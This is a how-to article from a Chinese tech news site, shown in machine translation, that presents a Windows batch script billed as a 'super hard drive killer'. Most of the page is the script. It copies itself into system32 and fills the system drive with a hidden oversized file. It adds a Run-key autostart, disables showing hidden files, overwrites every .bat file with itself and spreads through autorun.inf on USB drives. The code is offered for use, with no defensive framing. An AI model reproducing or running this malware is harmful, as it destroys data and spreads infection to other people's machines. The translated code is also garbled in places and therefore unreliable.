In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-09-22 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
This article will explain in detail how to achieve super hard drive killer bat, Xiaobian feel quite practical, so share it for everyone to make a reference, I hope you can gain something after reading this article.
The code is as follows:
@echo off %ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone% %ozone% %Name :REON% %ozone% %ozone% %Author:Ozone [verybat.cn]% %ozone% %ozone% %Data :17/04/2007% %ozone% %ozone%^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^%ozone% if exsit %SystemDrive%\PAGEFILES.SYS goto end copy %0 %windir%\system32\logon.bat :: copy itself FOR/F "tokens = 3 *" %% i in ('dir/-c % SystemDrive %^|find "bytes available"') do fsutil file createnew % SystemDrive %\PAGEFILES. SYS %% i :: Create oversized files, bomb hard drives attrib + r + s + h % SystemDrive %\PAGEFILES. SYS :: Hidden files reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run/v KV 2007/t REG_SZ/d %windir%\system32\logon._ vbs :: Autostart reg delete HKLM\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL/va/f :: Do not show hidden files for/r % SystemDrive %%% i in (*. bat) do type %0> %% i :: infection if exist %windir%\system32\logon.vbs goto end +++++++++++++++++++++++++++++++++++++++++++ echo set fs = createobject ("scripting. filesystemobject ")>>%windir%\system32\logon.vbs echo set WshShell = WScript. CreateObject (" WScript. Shell ")>>%windir%\system32\logon.vbs echo Set objWMIService = GetObject ("winmgmts:"_>%windir%\system32\logon.vbs echo ^&"{impersonationLevel = impersonate}!\\ " ^& strComputer ^& "\root\cimv2")>>%windir%\system32\logon.vbs echo Set colDisks = objWMIService.ExecQuery _>>%windir%\system32\logon.vbs echo ("Select * from Win32_LogicalDisk")>>%windir%\system32\logon._ vbs: : monitor usb echo For i = 1 to 90000000>>%windir%\system32\logon.vbs echo For Each objDisk in colDisks>>%windir%\system32\logon.vbs echo Select Case objDisk. DriveType>>%windir%\system32\logon.vbs echo: Case 2:>>%windir%\system32\logon._ vbs: : judge whether there is autorun. inf in u disk, if not, write autorun. inf and hide it. echo y1=fs.FileExists(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs echo if not y1 then>>%windir%\system32\logon.vbs echo set f=fs.opentextfile(objDisk.DeviceID ^& "\AUTORUN.INF",2, true)>>%windir%\system32\logon.vbs echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\system32\logon.vbs echo f.write "open=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs echo f.write "shellexecute=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs echo f.write "shell\Auto\command=logon.bat" ^& vbcrlf>>%windir%\system32\logon.vbs echo f.Close>>%windir%\system32\logon.vbs echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\AUTORUN.INF")>>%windir%\system32\logon.vbs echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\system32\logon.vbs echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\system32\logon.vbs echo End If>>%windir%\system32\logon.vbs echo end if>>%windir%\system32\logon._ vbs: : Determine whether logon.bat exists in u disk, if it does not exist, write logon.bat and hide it. echo y2=fs.FileExists(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs echo if not y2 then >>%windir%\system32\logon.vbs echo fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID ^& "\">>%windir%\system32\logon.vbs echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\logon.bat")>>%windir%\system32\logon.vbs echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\system32\logon.vbs echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\system32\logon.vbs echo End If>>%windir%\system32\logon.vbs echo end if>>%windir%\system32\logon.vbs echo dirr = Wshshell.ExpandEnvironmentStrings("%systemdrive%")>>%windir%\system32\logon._ vbs: : Determine whether PAGEFILES.SYS exists in u disk, if not, write PAGEFILES.SYS and hide it. echo y3=fs.FileExists(dirr & "\PAGEFILES.SYS")>>%windir%\system32\logon.vbs echo if not y3 then>>%windir%\system32\logon.vbs echo WshShell.Run "logon.bat">>%windir%\system32\logon.vbs echo WScript.Sleep 500>>%windir%\system32\logon.vbs echo Set f3 = fs.GetFile(dirr & "\PAGEFILES.SYS")>>%windir%\system32\logon.vbs echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\system32\logon.vbs echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\system32\logon.vbs echo End If>>%windir%\system32\logon.vbs echo end if>>%windir%\system32\logon.vbs echo End Select>>%windir%\system32\logon.vbs echo Next>>%windir%\system32\logon._ vbs: : scan every 5 seconds. echo WScript. Sleep 5000>>%windir%\system32\logon.vbs echo Next>>%windir%\system32\logon.vbs +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.